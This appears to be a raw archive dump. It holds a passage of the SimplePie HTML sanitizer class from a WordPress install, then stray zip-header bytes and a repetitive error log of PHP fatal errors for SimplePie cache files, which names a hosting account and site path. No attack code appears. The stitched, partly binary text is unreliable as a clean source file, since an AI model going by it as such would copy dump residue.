        $this->replace_url_attributes = (array) $element_attribute;
    }

    /**
     * Set the list of domains for which to force HTTPS.
     * @see \SimplePie\Misc::https_url()
     * Example array('biz', 'example.com', 'example.org', 'www.example.net');
     */
    public function set_https_domains($domains)
    {
        $this->https_domains = [];
        foreach ($domains as $domain) {
            $domain = trim($domain, ". \t\n\r\0\x0B");
            $segments = array_reverse(explode('.', $domain));
            $node = &$this->https_domains;
            foreach ($segments as $segment) {//Build a tree
                if ($node === true) {
                    break;
                }
                if (!isset($node[$segment])) {
                    $node[$segment] = [];
                }
                $node = &$node[$segment];
            }
            $node = true;
        }
    }

    /**
     * Check if the domain is in the list of forced HTTPS.
     */
    protected function is_https_domain($domain)
    {
        $domain = trim($domain, '. ');
        $segments = array_reverse(explode('.', $domain));
        $node = &$this->https_domains;
        foreach ($segments as $segment) {//Explore the tree
            if (isset($node[$segment])) {
                $node = &$node[$segment];
            } else {
                break;
            }
        }
        return $node === true;
    }

    /**
     * Force HTTPS for selected Web sites.
     */
    public function https_url($url)
    {
        return (strtolower(substr($url, 0, 7)) === 'http://') &&
            $this->is_https_domain(parse_url($url, PHP_URL_HOST)) ?
            substr_replace($url, 's', 4, 0) : //Add the 's' to HTTPS
            $url;
    }

    public function sanitize($data, $type, $base = '')
    {
        $data = trim($data);
        if ($data !== '' || $type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
            if ($type & \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML) {
                if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . '>)/', $data)) {
                    $type |= \SimplePie\SimplePie::CONSTRUCT_HTML;
                } else {
                    $type |= \SimplePie\SimplePie::CONSTRUCT_TEXT;
                }
            }

            if ($type & \SimplePie\SimplePie::CONSTRUCT_BASE64) {
                $data = base64_decode($data);
            }

            if ($type & (\SimplePie\SimplePie::CONSTRUCT_HTML | \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
                if (!class_exists('DOMDocument')) {
                    throw new \SimplePie\Exception('DOMDocument not found, unable to use sanitizer');
                }
                $document = new \DOMDocument();
                $document->encoding = 'UTF-8';

                $data = $this->preprocess($data, $type);

                set_error_handler(['SimplePie\Misc', 'silence_errors']);
                $document->loadHTML($data);
                restore_error_handler();

                $xpath = new \DOMXPath($document);

                // Strip comments
                if ($this->strip_comments) {
                    $comments = $xpath->query('//comment()');

                    foreach ($comments as $comment) {
                        $comment->parentNode->removeChild($comment);
                    }
                }

                // Strip out HTML tags and attributes that might cause various security problems.
                // Based on recommendations by Mark Pilgrim at:
                // http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely
                if ($this->strip_htmltags) {
                    foreach ($this->strip_htmltags as $tag) {
                        $this->strip_tag($tag, $document, $xpath, $type);
                    }
                }

                if ($this->rename_attributes) {
                    foreach ($this->rename_attributes as $attrib) {
                        $this->rename_attr($attrib, $xpath);
                    }
                }

                if ($this->strip_attributes) {
                    foreach ($this->strip_attributes as $attrib) {
                        $this->strip_attr($attrib, $xpath);
                    }
                }

                if ($this->add_attributes) {
                    foreach ($this->add_attributes as $tag => $valuePairs) {
                        $this->add_attr($tag, $valuePairs, $document);
                    }
                }

                // Replace relative URLs
                $this->base = $base;
                foreach ($this->replace_url_attributes as $element => $attributes) {
                    $this->replace_urls($document, $element, $attributes);
                }

                // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
                if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache) {
                    $images = $document->getElementsByTagName('img');

                    foreach ($images as $img) {
                        if ($img->hasAttribute('src')) {
                            $image_url = $this->cache_namefilter->filter($img->getAttribute('src'));
                            $cache = $this->get_cache($image_url);

                            if ($cache->get_data($image_url, false)) {
                                $img->setAttribute('src', $this->image_handler . $image_url);
                            } else {
                                $file = $this->registry->create(File::class, [$img->getAttribute('src'), $this->timeout, 5, ['X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']], $this->useragent, $this->force_fsockopen]);
                                $headers = $file->headers;

                                if ($file->success && ($file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) {
                                    if ($cache->set_data($image_url, ['headers' => $file->headers, 'body' => $file->body], $this->cache_duration)) {
                                        $img->setAttribute('src', $this->image_handler . $image_url);
                                    } else {
                                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                                    }
                                }
                            }
                        }
                    }
                }

                // Get content node
                $div = $document->getElementsByTagName('body')->item(0)->firstChild;
                // Finally, convert to a HTML string
                $data = trim($document->saveHTML($div));

                if ($this->remove_div) {
                    $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '', $data);
                    $data = preg_replace('/<\/div>$/', '', $data);
                } else {
                    $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
                }

                $data = str_replace('</source>', '', $data);
            }

            if ($type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
                $absolute = $this->registry->call(Misc::class, 'absolutize_url', [$data, $base]);
                if ($absolute !== false) {
                    $data = $absolute;
                }
            }

            if ($type & (\SimplePie\SimplePie::CONSTRUCT_TEXT | \SimplePie\SimplePie::CONSTRUCT_IRI)) {
                $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
            }

            if ($this->output_encoding !== 'UTF-8') {
                $data = $this->registry->call(Misc::class, 'change_encoding', [$data, 'UTF-8', $this->output_encoding]);
            }
        }
        return $data;
    }

    protected function preprocess($html, $type)
    {
        $ret = '';
        $html = preg_replace('%</?(?:html|body)[^>]*?'.'>%is', '', $html);
        if ($type & ~\SimplePie\SimplePie::CONSTRUCT_XHTML) {
            // Atom XHTML constructs are wrapped with a div by default
            // Note: No protection if $html contains a stray </div>!
            $html = '<div>' . $html . '</div>';
            $ret .= '<!DOCTYPE html>';
            $content_type = 'text/html';
        } else {
            $ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
            $content_type = 'application/xhtml+xml';
        }

        $ret .= '<html><head>';
        $ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />';
        $ret .= '</head><body>' . $html . '</body></html>';
        return $ret;
    }

    public function replace_urls($document, $tag, $attributes)
    {
        if (!is_array($attributes)) {
            $attributes = [$attributes];
        }

        if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) {
            $elements = $document->getElementsByTagName($tag);
            foreach ($elements as $element) {
                foreach ($attributes as $attribute) {
                    if ($element->hasAttribute($attribute)) {
                        $value = $this->registry->call(Misc::class, 'absolutize_url', [$element->getAttribute($attribute), $this->base]);
                        if ($value !== false) {
                            $value = $this->https_url($value);
                            $element->setAttribute($attribute, $value);
                        }
                    }
                }
            }
        }
    }

    public function do_strip_htmltags($match)
    {
        if ($this->encode_instead_of_strip) {
            if (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
                $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
                $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
                return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;";
            } else {
                return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
            }
        } elseif (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
            return $match[4];
        } else {
            return '';
        }
    }

    protected function strip_tag($tag, $document, $xpath, $type)
    {
        $elements = $xpath->query('body//' . $tag);
        if ($this->encode_instead_of_strip) {
            foreach ($elements as $element) {
                $fragment = $document->createDocumentFragment();

                // For elements which aren't script or style, include the tag itself
                if (!in_array($tag, ['script', 'style'])) {
                    $text = '<' . $tag;
                    if ($element->hasAttributes()) {
                        $attrs = [];
                        foreach ($element->attributes as $name => $attr) {
                            $value = $attr->value;

                            // In XHTML, empty values should never exist, so we repeat the value
                            if (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
                                $value = $name;
                            }
                            // For HTML, empty is fine
                            elseif (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_HTML)) {
                                $attrs[] = $name;
                                continue;
                            }

                            // Standard attribute text
                            $attrs[] = $name . '="' . $attr->value . '"';
                        }
                        $text .= ' ' . implode(' ', $attrs);
                    }
                    $text .= '>';
                    $fragment->appendChild(new \DOMText($text));
                }

                $number = $element->childNodes->length;
                for ($i = $number; $i > 0; $i--) {
                    $child = $element->childNodes->item(0);
                    $fragment->appendChild($child);
                }

                if (!in_array($tag, ['script', 'style'])) {
                    $fragment->appendChild(new \DOMText('</' . $tag . '>'));
                }

                $element->parentNode->replaceChild($fragment, $element);
            }

            return;
        } elseif (in_array($tag, ['script', 'style'])) {
            foreach ($elements as $element) {
                $element->parentNode->removeChild($element);
            }

            return;
        } else {
            foreach ($elements as $element) {
                $fragment = $document->createDocumentFragment();
                $number = $element->childNodes->length;
                for ($i = $number; $i > 0; $i--) {
                    $child = $element->childNodes->item(0);
                    $fragment->appendChild($child);
                }

                $element->parentNode->replaceChild($fragment, $element);
            }
        }
    }

    protected function strip_attr($attrib, $xpath)
    {
        $elements = $xpath->query('//*[@' . $attrib . ']');

        foreach ($elements as $element) {
            $element->removeAttribute($attrib);
        }
    }

    protected function rename_attr($attrib, $xpath)
    {
        $elements = $xpath->query('//*[@' . $attrib . ']');

        foreach ($elements as $element) {
            $element->setAttribute('data-sanitized-' . $attrib, $element->getAttribute($attrib));
            $element->removeAttribute($attrib);
        }
    }

    protected function add_attr($tag, $valuePairs, $document)
    {
        $elements = $document->getElementsByTagName($tag);
        foreach ($elements as $element) {
            foreach ($valuePairs as $attrib => $value) {
                $element->setAttribute($attrib, $value);
            }
        }
    }

    /**
     * Get a DataCache
     *
     * @param string $image_url Only needed for BC, can be removed in SimplePie 2.0.0
     *
     * @return DataCache
     */
    private function get_cache($image_url = '')
    {
        if ($this->cache === null) {
            // @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
            $cache = $this->registry->call(Cache::class, 'get_handler', [
                $this->cache_location,
                $image_url,
                Base::TYPE_IMAGE
            ]);

            return new BaseDataCache($cache);
        }

        return $this->cache;
    }
}

class_alias('SimplePie\Sanitize', 'SimplePie_Sanitize');
PKWd[`A�%>r>rsrc/Cache/error_lognu�[���[28-Oct-2025 11:40:44 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[28-Oct-2025 11:40:46 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[28-Oct-2025 11:40:54 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[28-Oct-2025 14:10:14 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[28-Oct-2025 14:11:00 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[28-Oct-2025 15:46:14 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[28-Oct-2025 15:46:18 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[28-Oct-2025 15:50:27 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[28-Oct-2025 16:13:42 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[02-Nov-2025 03:24:44 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[02-Nov-2025 03:25:02 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[02-Nov-2025 03:25:32 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[02-Nov-2025 05:57:48 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[02-Nov-2025 05:58:19 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[02-Nov-2025 07:03:13 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[02-Nov-2025 07:04:11 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[02-Nov-2025 07:14:10 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[02-Nov-2025 07:31:26 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[02-Nov-2025 21:44:32 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[02-Nov-2025 21:44:45 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[02-Nov-2025 21:45:54 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[03-Nov-2025 00:06:47 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[03-Nov-2025 00:15:18 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[03-Nov-2025 00:15:19 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[03-Nov-2025 01:07:52 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[03-Nov-2025 01:08:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[03-Nov-2025 02:36:38 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[03-Nov-2025 02:40:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[03-Nov-2025 02:50:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[03-Nov-2025 03:03:46 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[03-Nov-2025 11:04:38 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[03-Nov-2025 11:04:40 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[03-Nov-2025 11:04:55 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[03-Nov-2025 11:05:06 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[03-Nov-2025 11:05:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[03-Nov-2025 11:06:38 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[03-Nov-2025 11:11:26 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[03-Nov-2025 11:12:12 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[03-Nov-2025 11:14:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[03-Nov-2025 11:23:36 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[03-Nov-2025 11:23:50 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[03-Nov-2025 11:24:34 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[03-Nov-2025 11:26:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[03-Nov-2025 11:27:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[03-Nov-2025 11:29:39 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[03-Nov-2025 11:31:39 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[03-Nov-2025 11:32:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[03-Nov-2025 11:39:06 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[03-Nov-2025 11:40:40 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
